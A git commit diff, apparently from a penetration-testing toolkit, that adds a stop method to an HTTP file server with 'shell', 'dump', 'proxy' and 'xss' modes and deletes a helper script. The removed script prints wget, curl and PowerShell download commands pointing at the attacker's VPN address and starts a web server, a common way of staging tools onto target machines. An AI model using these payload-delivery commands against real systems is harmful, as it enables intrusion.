fileserver.stop()
This commit is contained in:
parent
15a5a6bd4a
commit
29d5f63c58
@ -115,6 +115,7 @@ class HttpFileServer(HTTPServer):
|
|||||||
self.routes = { }
|
self.routes = { }
|
||||||
self.dumpRequests = []
|
self.dumpRequests = []
|
||||||
self.prefix_routes = { }
|
self.prefix_routes = { }
|
||||||
|
self.is_running = True
|
||||||
|
|
||||||
def cleanPath(self, path):
|
def cleanPath(self, path):
|
||||||
|
|
||||||
@ -176,6 +177,14 @@ class HttpFileServer(HTTPServer):
|
|||||||
def start(self):
|
def start(self):
|
||||||
return self.serve_forever()
|
return self.serve_forever()
|
||||||
|
|
||||||
|
def stop(self):
|
||||||
|
self.is_running = False
|
||||||
|
|
||||||
|
def serve_forever(self):
|
||||||
|
while self.is_running:
|
||||||
|
self.handle_request()
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
if len(sys.argv) < 2 or sys.argv[1] not in ["shell","dump","proxy","xss"]:
|
if len(sys.argv) < 2 or sys.argv[1] not in ["shell","dump","proxy","xss"]:
|
||||||
print("Usage: %s [shell,dump,proxy,xss]" % sys.argv[0])
|
print("Usage: %s [shell,dump,proxy,xss]" % sys.argv[0])
|
||||||
|
@ -1,9 +0,0 @@
|
|||||||
#!/usr/bin/bash
|
|
||||||
|
|
||||||
ipAddress=$(ip a show dev tun0 | grep inet | awk '{print $2'} | cut -d'/' -f1 | head -n 1)
|
|
||||||
echo "wget http://${ipAddress}/"
|
|
||||||
echo "curl http://${ipAddress}/"
|
|
||||||
echo "(New-Object System.Net.WebClient).DownloadFile('http://${ipAddress}/', 'C:\\Temp\\')"
|
|
||||||
|
|
||||||
echo ""
|
|
||||||
sudo python -m http.server 80
|
|
Loading…
Reference in New Issue
Block a user